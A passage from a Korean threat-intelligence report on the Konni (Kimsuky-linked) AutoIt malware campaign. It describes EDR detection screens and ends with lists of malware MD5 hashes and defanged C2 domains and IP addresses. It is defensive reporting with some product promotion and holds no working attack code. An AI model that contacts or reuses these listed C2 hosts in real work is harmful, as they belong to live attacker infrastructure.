○ GSC는 이번 위협과 관련해 Genian EDR 제품을 통해 가상의 모의 침투 과정과 위협 대응을 수행했습니다. 오토잇을 통한 위협이 증가 추세이므로, EDR을 통해 조기 탐지 및 능동적 대응이 필요한 시점입니다.
[그림 28] 오토잇 프로세스가 커맨드 실행시 XBA 이상행위 탐지 (일부 블러 처리)
○ Genian EDR 서버는 오토잇 프로세스(AutoIt3.exe)에 의해 실행된 커맨드 라인 내용과 연관 이벤트 내용을 수집 보관해, 보안 관리자가 편리하게 가시성 위협 요소를 확인할 수 있습니다. 이를 통해 어떤 경로에 위협 요소가 존재하는지 빠른 식별이 용이하고, 의심 행위를 수행한 프로세스 상관관계를 조회할 수 있습니다.
○ 또한, 네트워크 연결 이력 조회를 통해 C2 정보를 육안으로 즉시 파악할 수 있습니다.
[그림 29] 오토잇 이상행위(XBA) 탐지 화면 (일부 블러 처리)
○ 공격 스토리 라인을 통해 악성 파일의 실행 흐름을 일목요연하게 파악할 수 있으며, 'cmd.exe', 'powershell.exe' 커맨드를 통해 작동한 개별 이벤트 확인도 가능합니다. 더불어 숨김 속성 설정을 위해 사용한 명령과 네트워크 통신 과정을 조회할 수 있습니다.
[그림 30] EDR 공격 스토리 라인 (일부 블러 처리)
○ 위협 모니터링을 통해 내부 단말에서 발생한 이상행위 내역을 종합해 대응할 수 있습니다. 특히, 다수 단말에서 발생한 이상행위 TOP 10을 별도로 제공하고, 어떤 위협 요소가 탐지됐는지 자세한 설명을 제공합니다.
[그림 31] 최근 탐지된 위협 모니터링 화면
○ 분석 보고서 내에서 확인된 파일명과 하단의 침해 지표를 대시보드로 구현하여 최근 일주일 또는 한달 동안 위협 의심 이벤트를 쉽게 확인할 수 있습니다.
[그림 32] Genian EDR 대시보드 화면
○ 실시간으로 수집한 다양한 이벤트를 분석할 수 있는 대시보드에는 일주일 또는 한달 동안 C2 IP 접속 이력을 확인할 수 있습니다.
○ 더불어 송/수신 데이터 량, C2 IP로 접속한 프로그램과 사용된 포트 정보, 침해 지표에 해당하는 파일 존재 유무 및 위치와 실행 여부, 주요 명령어 등 다양한 정보를 손쉽게 확인할 수 있습니다. 이를 통해 내부 시스템에 유사 위협이 존재했었는지 파악할 수 있습니다. (Genian EDR 을 운영하시는 고객사에서는 아래 그림처럼 ECO 공유 대시보드를 추가할 수 있습니다. 단, 인터넷이 되는 환경이어야 합니다.)
[그림 33] 공유 대시보드 등록 화면
○ 이번 보고서에 기술된 코니(Konni) 캠페인은 대북분야 뿐만 아니라, 가상자산 거래 관계자들까지 폭넓게 공격을 수행하고 있습니다. 참고로 해당 위협의 배후로 김수키(Kimsuky) 그룹과 직간접 연계 가능성이 높은 것으로 알려져 있습니다. 오토잇 스크립트를 이용하는 등 국가배후 위협그룹은 단말에 설치된 백신 프로그램 탐지 회피에 다양한 시도를 하고 있습니다. 따라서, 최신 공격 동향을 참고해 유사한 위협에 노출되지 않도록 보안 강화에 더 많은 관심과 노력을 기울여야 합니다.
○ 백신프로그램과 방화벽 등 단말내 1차 방어선이 무력화됐더라도 EDR 에이전트가 설치된 경우 보안 관리자가 빠르게 이상행위를 인지하고 추가 분석 및 조치를 수행할 수 있습니다. 이처럼 다계층 보안 시스템을 구축해 안전한 네트워크 환경을 유지할 수 있습니다.
● MD5
16eb2cceb920319eaddd5d7b85483cc4
61f65bd593ea0e52ac0dfdc6bc9cd73a
87dc4c8f67cffc8a9699328face923e2
95b8ceebbd6e983914a13c1cd774028a
3334d2605c0df26536058f73a43cb074
5613ba2032bc1528991b583e17bad59a
a3cb0eb10b9917b5c67758c079a759cf
a330b834cc2ec19c3e151f07fb4b877c
ae5e525801ec6066b7faa62e1e666270
b098959bc405e7e3148e9897e5b15b8c
fc20c9023dd7e21bf32a3507480873df
d5809e5f848f228634aa45ffe4a5ece0
01c2ac204e56fe4c0098a2d28b8e304a
3c81dc763a4f003ba6e33cd5b63068cd
4f865db4192afb5bbcdeb2e899ca97a4
7e4edf11343db68c1dace895e02cafd4
9d6c79c0b395cceb83662aa3f7ed0123
● C2
phasechangesolutions[.]com
search-education[.]com
nanocanas[.]com
jethropc[.]com
cavasa.com[.]co
cammirando[.]com
executivedaytona[.]com
professionaltutors[.]net
believeinsanta[.]com
samosol[.]com
93.183.93[.]185
185.231.154[.]22
62.113.118[.]157
5.161.182[.]109
5.78.68[.]117
5.75.181[.]118
94.103.87[.]212